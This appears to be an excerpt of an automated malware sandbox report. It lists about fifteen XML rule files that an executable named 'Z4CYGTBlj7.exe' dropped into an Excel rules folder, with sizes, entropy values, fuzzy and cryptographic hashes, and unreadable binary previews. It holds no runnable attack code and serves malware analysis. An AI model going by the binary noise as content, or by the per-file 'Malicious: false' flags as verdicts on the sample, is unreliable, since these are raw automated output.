Preview:	<?xmlX3..[.z&..\|...Z1..-...._g\.{.s.<D....^L..f..3.9....A.O(....7{9'....o..b....!...%...O....C.^..../l..l..eI..q ........Su.g.WN.I7f.};....... ....z.?{......4=k`U.E......B.......4g.`~.:4...#.Ub.8....(.J.Y..=..[.3....6#....&.}.S.8.E.em.lm?...N.Q.m.z.}......hb....S0~f.N...BU..-9<....@...N. .@....U/.9.....e.n.A..MY..0O...=.......h.[y....wb.QO......\|X....+.Z._B....Z..Y.6`....J...~..t6.1.x.B.d.X].........}.P..3.o...n:-.0......CP6.>+b....=..-3p\a..6KIq].-P...,_a...............T.G..........VA.J.......:%]t.....d<....U.a....Es.[......,. ......I3...+..QmQ..!%...4.U..-}.......H..."...........'5\|.Gg......@....D..Y.....1.#A(.......te.P...\.C...n...b...zX..y....U..........4j!.)B.9...#[..E.=.....8r.EA.v.M.B.{.h.....$Q..K...F....}G.....c.\|n.f.1.&.AU..._5=a...............r.y.I...,..n.....wF9..Z....m.Q......0....NY.\.......M..._./......u.....k..i....Y!.V ..g.g....<.L8.G..Ns..H..c.7.%\|.\|8.....f.a..=].Ve...p.Y...ewt3).r..;Z.S}..`....TN.m.3...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170038v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	7.794701210535942
Encrypted:	false
SSDEEP:	24:cKqCYNGMbPDElhfvXHjbvpCIhp9IaoOLRKH17OagFUX/ZGjcsbD:cKqrIuAlhvUa5okmCFu/ZG4mD
MD5:	49573072D680C0C2DF855CA511EF722D
SHA1:	41194202CACCF1CB7C146D5280EF67E78607C776
SHA-256:	E845743A409BCFAB8DC4137ED723C79A9A4FCF5F6DD5532585FA966F7442ECD8
SHA-512:	BD722E6786BF59837028EE78A8EDB675EBC9A30EFB1A49C0A716F0646A045658FA1533C6DF2C1A8AE566D04E0E438F06BCB6938A4B7B58B25F023FFAC8152987
Malicious:	false
Preview:	<?xml.w........A.[.TI.}yz>!..dL.......n.,^Q..._op.].G...b.Jq.(.'...ps{......w.`P.[...7(.%j...@...:..S..._\|0.#'\|.t....}$.\l..?U.^d..).$.Qbx..q.P.`...v{.L.sJd...6lr...iV..h..olo..Y..H~..pF..\...@\|...\|-..=..w.CF........ZO.2/..o..j.{.{..=.l....`.Ux....r....`.#...~.o...M...v.].5G.(%...z.6.......v%J..v.~..%"...\|{K...8..Ze..9.b......a..o..-L..L?=J..0.).Y.=w.i.=.+...S..P2....w>.K.....?.I....o.$.[.lV).Cf..n.....z..)D..'JIu.....B..k..<.Ab...>\|.......I....p.6.7n..VNJ.....V.k..F...9c;..Q'.......].....+...aqX.{.F:.c.a...m.$.q..a.3..../u.4..{...#....L.'..<.C5..r._....fR.!k.... .;..7P'........,.6.c7oU...@L....+.H.......Y..:n..@....>h1......pi%%i.q.h.........y.e.c...h.&......j@(S.T.._......{.....^.Cs.e...d...&....j...f....0u.2....M(.V.G.3....EF.G..n.._.<..........g#W`.O..[..".n..q3w........M.q...H.s.6...7....Z..sm$.....V..0_7.q.-..Y^..}..`..lk..u<..Cz.~{aP.e$D.._[\};NW..6^.^..{....S..w..d."..T..............Q~8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170039v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.763227789107887
Encrypted:	false
SSDEEP:	24:xKBXD1Kqo3MfL9cYvdcRaD/XINuo7Nbqu8sbD:xKBz1KtOLOYiRaD/O7gmD
MD5:	045956157A838DF596494DEBA26434F5
SHA1:	C7619174CF5985D00A91F5839194A64C66629C88
SHA-256:	BD6EA7D1D967F5D19C964434E293631571E86EADEA93F4AC9AF2040366F05B5E
SHA-512:	840DBF43301B9F3B85D657E89F850226BE6B90813F70C197E71E88C40F0FC7B96FFDF73ABB9B8CBD91C4579C7C0328249D957F593F6DB46E6D8445CD0771E48F
Malicious:	false
Preview:	<?xml.d...~f/u.D./.....B..I.)`7..2......K..f.[(.-$..d=..Vg+.u...Z.7...o..a...n.np..^:....aZ4zT..........q...uoE.k..5/.y...C...C....1.'.z.lu.9_X....L..VfOL.x...Q.>&"......I3{,gZ}....;.;.4..i.._\|.1T..m...t..R.;,Q.w..<......u6.]..5zd=.B...A../.E.e.d..D....B...........Ea\|.L.3.".....9...0F.....M.}Y...}.!.m.8.i.0\.r~..=.\.Qw...VfE..8.......3.R0..yp.W...H.. #.81\.7.$..J..v=T..P..=:..{`...i....w$#u.+...r.....8bD. H.o+......#.y.V{3.O.....'..bL...@..G..f....lU...q.....5..`....4..L(.6.r.t2..e.[...Tc.NP..Z...1baR.\|....a.>.].&t..-i.B.RHh...kvu.d.H...,H.......S..".!..IdA...._KMl...[Petq...EP........3...%6...?..^..M<.M{......k.k.?.x...*.2E("%.;.....S.\..K.z.<..[........v1[.N..y..7..a..T..../....e2..!1'.G...cb.j..a.S.ae.E.TZ6Wj.)..P......U.(z...5.G9P.q..w..'H..Hf.m{.,ub.M.N..zj.X-Z..Aw......:....c?..nh..&zlS....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170040v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.73850250562628
Encrypted:	false
SSDEEP:	12:L+lEE0W4ra1OOvdclrmSBPqL0laQlMFsLWknaEdAERKrPy2ooUskbl+eQV8vYVDJ:5nW7OO1OigS+aQWOKNEs+loH0QV8mDRP
MD5:	F922B2CA285D4D6EA6F2110268BD1004
SHA1:	E29A8A183C13F2CEB22884BCBC9747EA58040237
SHA-256:	13663BAE17289E67088D2D355C0EFEB601A3C3930B9B73D6E61B5CF076F55BF8
SHA-512:	CA068CB2447256B5F7EEF6BDAE85CC20F60579041497ADFF451FAEDE9116C2D13819F693F093FC42A231B47A41335A0DCC2DFDF029CDE007F0E9B6624D34637C
Malicious:	false
Preview:	<?xml.t.ix...".b.y.=.........j.........r..]^.q..oN..6f...%~...1..jy..T....c.Q.p.#..J...Y...<.[J.vY.zv9..3".K...=...Q5..Fh...{.~.......T..4L.D.H...o.._^..Q..+..]h....E.g..p~b..j....+..@......v`E.J.Sl....9.H....3..U.m..D...5../...!..E.#.QP..yPB.5..X...t.\..q.3..DK..]...'.....o..^;..I@._E.?.5.\|...jWK.1< ........."..n...s;...N...r.y.......b<.V..u..V.A........r..U.nK.(<>.-..b..........f.".`....@I.Y..M../.(..J.._r.k...%...i..C..T...,.k..Rc.......c=..&...&.w....7..=..70.U2...c.......q.6.U...m..E......d.<........H..}9......].%..o.....a.....OH*.]BK....=....6v.E$....Z..j.P./.....^_{.[.....)..\|..z....].'.M\|>J.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170041v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	7.803529830828504
Encrypted:	false
SSDEEP:	24:0nD6vRacCfk8qJcpWGuq0w/oe10kOUDOMnGWsxsbD:0mvrjtdGuU/qOqIbsxmD
MD5:	9DB859921A63EC62F60BBF60FB721746
SHA1:	7563E0805C0CBE0BFC4FFF2DCE93BA9F4FA6200B
SHA-256:	493F86C556B1B5CA728AEEBD098C1DD46B7EEA3D632680162DEC708289AB98D5
SHA-512:	FCA9FA5DB64F1D3AEF9D25D81013E3377999BB55F5963FB25CF7FD12D3BBBF62358F010AA675A95B403EC8981EE45DE24FBBEBAB4E711C9AF2442AAA0F820F49
Malicious:	false
Preview:	<?xml..5.4}.?..;v..,u.B..zH.,.._G......%Nv].....2.2.}.y4.b.i4x.2....Hxt.AF..,A...;w.W.....:@...B6....-..Z.u.......Q..p..3.."(.. .d...n....4._P.7....?^.1.]..N.....)...6.}.........N..y,...ic.>8...... .V...e?...?..P,X......G.C..KN.d.P..7..9&.}.....1....y.g}Pk\|....?...$..f.6../..s ..o~..v..L3..g.O(v........!..$.x.... (. ..@P..9.H..$.........W..~M..k...?.L.....2+..}..GqT.I... ..r...R..E.....pf~.......n.....k....a4A..~.CN1-.).a..c.0....5.c\|.......D.bg....5H..U=.L.....\|.....J..w.p..6...a.>....T.z^?.!.....)b5.\....N......L.^S.z.e.....,7...[.,nFJ..m....n.Q!..Y.D...:....d.......6.@c8.....H.....E.xA.@f...5..c.[\...U.......G..0..d..wD(..l.........+.T......=...`4>"..`..P.P'W.. O(x.M..U..{.k%(....%.@+.............57M.LE...e..QWDDd.rF......l;..h.d..b...lU......2[yM8..C...p.r.a.^xX..=WHk.S..r.....H.. .1.U......V..33..*o/.h..0A....?.../.I......(J.j...'..~..PFD...G.S......R.i...]@....+.;....%..H.CV.M...c/...7..'$...wA.\|8$.$/T#G..rbxA..ZQ..r....b.!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170042v4.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.78279293311585
Encrypted:	false
SSDEEP:	24:NwwUmypqf1pSHf0cQekD83uPKLTKrrpYsbD:NwwUmtNpSHMAoqq+KrrqmD
MD5:	9CB92B0086D824887E6AF334613289B5
SHA1:	715BF53C473B4C1DFA1CD6F69C5F313C22DB8D70
SHA-256:	B005536EE0FA3A979DD73ABFA4342FFCF19D4C32047D65DF595E179EF27F647A
SHA-512:	83129819251542F7BF527C67B4B98BC71C0E92A15A5AA668504F2DCED3DCB5FA8CC9C55FF6A66418D394497C41C4F3B2FCE2357998F009D2F283B662165EE908
Malicious:	false
Preview:	<?xml.M........lq.F..#.!ug...Ct.W..O..^y..i....,.gC..X..w..d+?..~E...L.L........W.1.1...2`{..[+.]....=..2.>........;.b....;gB.b.~.ya...'.l...{k..Nh......X=V.^...~.2L...t...@....4.c...}..Q.2...B.....$..:.t...E..I.....s..G...8.+.......h.o$zY.Jq............s.'....C/........f@.W.g.U..aC..c..3.S.dWa.6.#..7.z.ua..j.%....-m.;...ezX3.w/'.d.i...}1.Fk.....l....L..+V....r...5.\|y1w.0$\|.$.N3.TLk.....t\|X.y8..lc...,..E.O..u.d...g.....5r.[..E..k.....:..+....EPP.....=;Wyl"w..._..1q........$2_...mp...... v.H5.Y...l..d....y.:.C.d.M.V/.....Sp...Q7....~(^@f.sC..F.i......D...&K@,..S..7eh.....B...r.........\D..\X..<N..x6wV.....)-...O2.Q....@..5..>R..O....rB...{F..slc.S.~s....=.+p...._..;s@..,....I.S.i....:.+.$!..Y....-..g.E\|..OV.W..V:\....r.:....x...~pr.&5i`..#.cG....-vv.X..k..?..Ww.j.~3....i..N.....9u.U.o.#.ri.('....[.z.h.]..{.!...`M...$..GW.M.<R....&k.;=...V7/.#...PaTY.z.s.8.j$YE..."../er^.I.........dA\|.7..~.\3..fp..H......\|....K8Dvoqx3bvfv1GNOXwQLrS9NhK8A5B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170043v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.731573457051809
Encrypted:	false
SSDEEP:	24:axIbCdCjEkjzi3+0DJFx046B+eOtyqbowJsbD:axcTjd0DJI4k+M4owJmD
MD5:	7AF01E740EF0A79BEC255866E8212F8D
SHA1:	7447B49C822996BC788F921C95E8602BA499B92F
SHA-256:	8F28EFA1A97E0CC21F0E7435ABEFC3172A5AAE61B7935A0125D01155FB685529
SHA-512:	0318AAFFFA74A0EC3697A9632B2D494E467828085D302D54B81D6E4DBAEE3B80EBE5015669AC434ED6E35F6DD0DEBD3BE05E7C5CA61C78D45116F7A71218B408
Malicious:	false
Preview:	<?xml.q......).'s`.`.)lR'...c..A.E`..7..?}."...v.)............o.a.<..L..j@x0.....e.....q,.:.0NK..}.,]Ii..j.....~.p...$v....V..V5...........H..^..3...$.....%F&.hva...w..f.8.....x..IbMO..u.Gz.=.r]....8...f.5.E.V.>.......b.[.`.....K..D.........7c...B.....Y.sA..yW..?.....!=........t\./.o.&.wSA.v.H...@f..Z3........M.E6..5..../..s1).k..U.N.C.pG.j.'..D0..G..../.+.....#.&..?...O..!_.......B\..Ye:..'.w7..iw..&....J6].t.u...B.lb>f?.e....&.~./.:....\|.L%.k.%h.b,."-.>.SV.jQG9xY.O@"..v..3.].e7..).............Z@.W9...b.W!. .T...u.~..V..xo..#^....k6.Gb....t..(.....K.F....?y{....}j.2o.......oP{...K.....0.:.).-+...l....ONhO...$.....8.<......_J...yX..@.V.C.q.;.,.m..i.4(....b.....eg.N.q.H.CH.S.rx...v..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170044v4.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	853
Entropy (8bit):	7.754350256529122
Encrypted:	false
SSDEEP:	12:XV7il7QK8k0RwoSXpkFwr28bMhwUhq7V3fxgOgfpbrezd4QqWiBSWmF1puQsciik:lIQNkMwP5kFwaMM36VeOapzxSWsfsbD
MD5:	AC904212F51E7C2A05745B6F34FD786A
SHA1:	B878D2CAE52E9846DF615DA82A149274B72E531B
SHA-256:	5FAED70460850A853B64FC401FFA36D3477C856F1B6E949B4DCCDDF902D7D654
SHA-512:	6CF1277450BF1E0FBF82E7C1584688D59C840DFED3D5FFAC49B5E5CB6A0668891681491E88DBC758308F1474140D99E5F215305294AEBB9B52E4C2A828FF3315
Malicious:	false
Preview:	<?xml.c...z5w]s}..71...=;V.B..........NU.6tr...9.......=.s..A.T.O.k+.0....5.!.U)..}.K.M....rOS...'...d...Q_..oFQ.Q.... .y..,..\|\.W..&..-.".I..7.r.a....]..\|..1G. ..B`....\.).}z.u..i....-..PeA\|...rw...!. .N.$...n~.>c).M.....7+X.?M9...E....!s.....d...f1...k...JS.-.....I..i......F..1..[O..P...-..p.}.JX.p.....G(@..Z..5.oK...}.U...i..%.ES[.......b"..[<8-[CW......._;...6S2..H..4J.....&K........@0..G......z#.....i.m.I...D.G....L.8..S......~..#..>!0...0.x3...M......2.L^....D..+....pt.>..+3W.@<..V......y..)Y#..?.....nhj.c..B.xB............Z.eAj.:..4&\|.0..'>.....R..ZF...M.UP..6...C5s]...&m..n.6.ErT}....n...%"kNd.S_l..B.5...n.(......~..A.............LuU...B...J....l..#e..).%6R...B....n5.>..b}...5..D.+.u..V.F.(.o..b.Y.....%4...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170048v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	7.770528575540613
Encrypted:	false
SSDEEP:	12:fDZUQ6ec7SpwzSzcslvLo4fa1+NIJ9rZAB1ujb9eOWQsqK4Ete7E53CG49twNQsX:rZsWpwWjhUeDoeOWj1M7K3F48CsbD
MD5:	C0B30C88328BFE77A6EC0C1D87428D75
SHA1:	A684A965BF8966FF1220D0CC7B7C5ED8DED14FBC
SHA-256:	04309814FC4E97B4CB2F3E3F65F2C6D6D3E3390CF31697B8DF6E3CF599CA7236
SHA-512:	E9D0418B5CD3F2637AFEE177FB1F51EFA7178BA347BDA8DA3F1FE7C33B24C68FD624325DAE622AA8B8888E3405695E082A768A2B71BB54F7988F4860A89194C7
Malicious:	false
Preview:	<?xml...j:U..e=.....2........q..#..r'.5.....z.ca).E9.83f3.g..I.._{...%ns.....ot\|....h..#.)...9.O.N.~.}.>Kd........}Iv".h.k.W..LK..P..0Dj.o./..........!.a.WR.4.GPu....fN...Mj........G.Z!.M.#.<[,.Ghd.=...%.. ....h......B....}.....#ty{.......E.wuo...YD...pgsD..\|w..!f...'.xa......7H...o..(.vV.....1t`k..........O.].Q....&...k`,.+....F..qH,.~I.5......u.Y.Q......0...5....r.v.`w.A.F~..Q.j..P&.%..9.Hq....yS;.].z\..79...V0.3.u.......#...8B.bpg.o..f...}?...KF.]7..`ZU[...I...U...........-..u..j.X.[.r..+.<`.1S..0.j..G...t.....Dg.".x.^.4.i...h....@:..1YYP.:%.."V.}..}.R.G(......OV..BK.........$.....E.`.[.I.X........-....VJm.V.R]@^.4.Y.+.%..S....2.2>.-..4.M./;..S.~~..C6.,..j=... Nb.J$.xp.....u4o.g..0.....\|.J.(}9..x... #:.w...<..l_.N...}.......P8..>..S.g7..6......S&..l.Jah.+.?.e.F..y...o.8L@p{2R.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170050v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3310
Entropy (8bit):	7.943668999402586
Encrypted:	false
SSDEEP:	96:BnTvr1FvGqpAQxiJmgASfaLnyILyO+fWplWEppMpf+:BnLrRAQxSzun1txpl7pMf+
MD5:	204DE28C2BB61616B3A237019620859C
SHA1:	EE6B8C982ED5FDFA1F377E3B222794D05A9432F7
SHA-256:	CCDB6E24DF23B0C62F35D8E132AC24ECA65D6A9E9B5448E34AD975D2C9EE6D76
SHA-512:	83D17706BD6ABC64462DD05D98200E94EE6D8C31811B349EA3514E81DDF10CE087543E7EB18BD4ACEBD44E635B28CEFCF56F257015CF2F2329B511C7AD425BE5
Malicious:	false
Preview:	<?xml"&s...].....%L}.=.....m.\|.=V.6P..WQ...T....ml.F..G8}..]&. Z....}..q..W.[m.l....(.A...J..E.mc.=]....Y=..i....s.8...W".5...s.(.<...Y..mCn..C.......]X.D..4...$.. ..o.75.&.K.C.j...Z2...Kk..X.r..cRn.e...V..C.0F-.f...a`c..@.y!..<r.H.W..^\|...<&v@..^..hE.D...F`.0..m.A...r;..#X..^......a.sj>0(....5......F..2c.v.fp.^3..H...D.\(..<.....t..ci\|..k.._.....\...~..:J%.&.)1...^.-I......kS3.7..G..;}.G..&..0..6..n.......4Fvm...g.R+.......3LA.6..A.Z../..z\...#.:%L.....6.....NRL..5.....G...B30..g.W......Dp.\|}}S......s..%...o..d.pq.!..;.....R.?....g.J....a.j.'....n...ch..2.!SXc.e..Y.uA...G@....9.....~.7...w...].....k..5..qb.d.o`..m....K....]....CZ....j...I..@.Z.....ul(sc.?i...\....R&5.............6....o.[.V.Y..t...........M..AZP..6....z..5..z"..._9.!d...<....)..@...a..AudeP.6...W..P...o.(i........C.b..?b7..[1.].\.\|.\|..b..K....../....H..<.u./...7.N....]...E1.>[..@KA..[..P.~..V.\|.......Y=.'B).MX..]....\|uN7]..V.j..6..EwR....V.w5.W_....v.a.v(..A.+..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170051v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	910
Entropy (8bit):	7.759204662044583
Encrypted:	false
SSDEEP:	24:uGGpTq7zAXyXhDwMYnzNajNXjW/CPb+b21NvzsbD:UpTW4C3YnzelbRJzmD
MD5:	6084349D10DA84D18C65594F76111232
SHA1:	A7EA19336DEEAB200D3CEEABA6C02F53C10973E2
SHA-256:	58BCC277E1B2E04B133C8F8FEB9F750BE8318E774A161FE3A015C1DDFCBE4DF2
SHA-512:	C6654DAE43841086784BDF696443B36D73B58D97290793F5156CFC7C1BBF2B398BD0E597C6A0A0E05724570C5E781DD2AC450DFB13C8F0DB4B29A7F8A4B26DF2
Malicious:	false
Preview:	<?xml........%Y..~.../a..B..h1....Tn.J).....wJE.....Jj.......y/8Fg....U.a8.j.j..W...+...H....hY....G....tT.x...c.4Q.(...,...G.}.:..T.....fuA...C..e+.m.l?,.!a..l...`.FdR....<..lm..&....l.~.!.e.V..).....+..WL...(.v.'...[.....L.T.....]X.).I..;i..5.z.g...U...;....-.M.r..;...z].^......>.?.:.2. .1. .m.l.....w. ...Uz...l^ls..P...^......6.$N...^F.........\.+..D.H`.E......b..V..D%.......ND..4d....;...J[e-a.....o.Y..+.....j..sA..8B....k...6...J.Y.dO..2...]..$..7...gN}..b5..}.\|......o-T<.<...?J^Q.......3z..A....b.I.RM.0..>...o.Z@.3.."D[..9..f....F....G..[......0.z..h7\|...u$K.......sX.Y..7}.-.........J.. .(:l$. .7..$.fr#..3.)X%...-CRZD.Bo\|>.I..G....-..t...J%$.!...'...F.S'..;...z?SK`....xepj!..D.$X...D...~.5...%...Dl...<.....h.j. .R.....t..a.~..RE....i..\|....Rn.T.B.=.Nm.a.E8:,K..H.\.....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170052v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.759499139940519
Encrypted:	false
SSDEEP:	12:ooWN0Kw6UWYwKFfL8UqEi4nmjY8hAhyrZu7jWGveh+DKFAHpHdHEZ0zDwdxeisOR:oRXw6QT8JjmhyFOghjKHp/f2xeR/sbD
MD5:	53D976EC9D41207318ABD5F61578F25F
SHA1:	7F8F67293D6FFF87E105F6A0B5068202805151D7
SHA-256:	DC42B7EFE7E86EE1F0A77F4BDE241064985C36CE2D43DD5FA40E2E787A7C47E1
SHA-512:	7C642D08C22FFF9E5D595F52C66E235E8202FDE5B5A17C02B54A7CB7C69C7FDAA58034C89DBB9BF973EFEE94460BD8F35419757EBF0BAF52BFC3E3C38481F7C0
Malicious:	false
Preview:	<?xml.#Zs...[,L.....n&............Q\|..l..`.....j.X....k..o)).:.YKh.d.q.N...........;9e&Y.G......i.<[.>..0.x43.=..v.d..3jn...'4.......^.HC. Lq.ub...t..IL.J.....yh.X......U..G#.p4.y.....:....'=>M.n`....t..h..n.<F..b...q....q....d.W.d...L.....`]9d...o.Vi3h.......!.Lw....1...V.=3.Gd..f..%.....M..]h.6..35Lb...5.<f.e.E.......i..t.+.C.....l... .....@j..<...e..."P.{...f.H....B..a.!.]..'...02.Q(......N.i8..@.#.[w}]v.......h..jOR.^......D.6.)\|....2.Ju...:I.* ..H.7O....!..B......?.......;.$..>..p....g...../.%-.{.Xoun~.z...0Hw.....D..^}.Z.O..i..hX.l.F.b....V......ot...l..}.@......,.ddN:smA.Z.._.<..=......`.(HS....uz...qD...b..Y....~.l><.W...t-.~.....m...2A..o.!._.N....0....\..>.d.&..XA..6P...H.T0...=....[.....>..e1.e.....}.bq.q^hz.?J.z>-E.&./...5U..T..LX{.......~bJ4.i...H...cMn.F.2..8..j....^..-..z.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170053v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	7.688967268990985
Encrypted:	false
SSDEEP:	12:MBvQKsPAezw3TZ3sCgZ/FMDTXKbNhDpAddgiMqWom0VJaDaWRqHHT5F6VQscii9a:6sodTni94XKVAddAomCwqT/HsbD
MD5:	64B179487DC25F3102249BE9352521D4
SHA1:	30682AF4403A12D48A917803EC26D4545945AA0D
SHA-256:	3957A5E09602063D518EE50D0B1AE9030AA590750AA1B90FCC2AD6C1FD045075
SHA-512:	F1B72D48C8043C03E1D1C1EBC268DFCAA2B6E9338C73C410E3053040559C18B6DE603A95216869A0C965BA0182C2CBC7EFE7D7063F54CE37F9C96BEF9BC381AE
Malicious:	false
Preview:	<?xmlq.$....!q%.NUVc......3.......a.m.F.t.@.....0..TO!...^....h..'}o......}...G.RZv.f.U.V......@..3~..}:..c.t.i'..^2...4;....I.O1........@L.%Z...,.}.w....J.....A....p.~M...nGM......\|.....mY<#.V.....z..R/b.2....._M$.6...P..2C..^X2.)..3.^db.....FAmw@..(....=.r...qh..i...r..h.....TzZ...6%......V..........(%v...5...i...a..:s.D.N..D......C...D..vk!.!.,.....E.\.P.DoK.....uwLye.?.Kb.."...15.<..av.D.bY..G...&,..D. .....t9.m...w....F(.u.!...6fC....5/.."f.\|G...W4.....S8VL.{...T...m.........y..j..X..[wi`.....~4..A...E....Z*..!K.v.......J.1.....q....U...AI&X Yo.f^P+=.Q?n.....}.Luw..M(6n.......4..XR."\|T..J.+...K(X. .....%...`q..=7#%^n..aD.-.d..H...^..9.F._DN....:7..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170054v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.740931465804928
Encrypted:	false
SSDEEP:	12:qbkdZQmfjrF5DzrRStAabcW19cOiYH3yY2rzxYB1Cq/SqRT0+WDmuW4zQscii9a:qnAvDzrkvz16m3yY2uB1z/JSPW48sbD
MD5:	70D7713E9B26E5E490B0D1479FD436B2
SHA1:	4ACCFDE6D50841AE87706F757756A8CBED00FF62
SHA-256:	68838A9641066701181B95308BA12FDE7909B56DCDCDA3D2FB26E370E278D755
SHA-512:	B35EEF90DE1D134BE08304069ABAC84C4E6FE286162C98D081A671CAF671FDE27B718FB5DCE15363FBD487D9CBF2F963E45E198ADC363C732FABD5F220A744C9
Malicious:	false
Preview:	<?xml..._..H}....\|.0T!.-..)Q...v..Ue...Y..,...o:...#.w....O.Ad.o.iP.t.=n..E/......P5...-.V......d.-j...L5....@H.kW.X.F..Dt.s.s1...1b.A.$6......C.\|...5VoS..!.D.. ...<..>5..6.6.?.G.....ZC2E.QoN{!)\..yOZ.....ol...u.q..ts..lsJ_..(jT.8V.4t.A.D{aF.X.?.!O.a0.3Cd...r.,..+...>.LY..O.uQ..[....n.7dr ..8LV...bXU3..r.:(.....t.=..s.._..$@.....>.C^...;U...9.....MI]OqwpG..A....dPz..X..z&5.....p....g.F..x.>h:".........j...Vr.2.^9.G+.......F.....m......[6C..8.;...O.q.].p...O....i.HbSNL{.7.9.0...u.....%.G..(..._H.31............!..:.D......@..... 6@!.8!..1_...X.n..D.F....Y..29S..b..h..?A....S..z.3..\|^.Sl.h)....;.4...Z.F.c..m.%.m.R2&....b..h.jt].;..5..d......^......2....V..p......H....1.....ckp.....l.....0.-},.....T........OY..C..g.,9QF#.8.z..Z...@.....rVd.ZJj.,..U4{..4.W..'.8X.y...B.m....p...z..s..Y.wK\|.q.Om .....,>..b.8..%7...aH(.._.x:-.2..q.+..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170055v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1131
Entropy (8bit):	7.827530225276676
Encrypted:	false
SSDEEP:	24:sI5yOHFOsjEBI7+qZ2CbVHj68xbtevBSGyGwLnYTRYJKvedJsbD:sMyMOsoep2CbRTbteoJYTRYBJmD
MD5:	611791E66F9E737C009389095231ADA5
SHA1:	17B2E71A5DFB145CC62157497C8030B5F3732522
SHA-256:	1D11DBFDD64EAA1E8794E9801882C12BB9CC70624F7A6DCB19F204BA58D5FCDD
SHA-512:	EA0032A3D4C4CDEFADEAF0DB9CEB7B2E9DA30EDBE25D13B2EEA5EED1F24C776C623C97D2B352DBCAF7A38203D7999C51672B66EE3BC69F10FA59426835F02116
Malicious:	false
Preview:	<?xml....GLTt!..M+.jksT...5G.e}%1N!.....y.3S.Q.@.....WJ_......"c[.4....N.;...g.....+......@......u._... $..j..n......1I.............i.....v.n9'...=..I......-........00.<....t:...f./...U.x._/.....JDj....l.V]A..0...g....^.).(..-.ca.'...&.(Y.W........w.i.......~l.9.^k2@.b.......x..@.T".J......yA -)f]h..K2.7c...(.........c.`&?..._V..'B.P..>n..z..1XA..'R./...._...t..x.....xX......l....l..... T..&.S}..U..M..Z....rRBa.....C....-5"%..z..+..h-T).fNU.r...'.H.])T!oQr).)`WH...@...>w...r...g.,"o...........'Z@...o.1zT..c~3..~...~\|#7...B#/.v3.E.c.#9..4Q{bvG..[....W..<...8A..uxt....Y$.'.....T.......Q..N...YI5.... 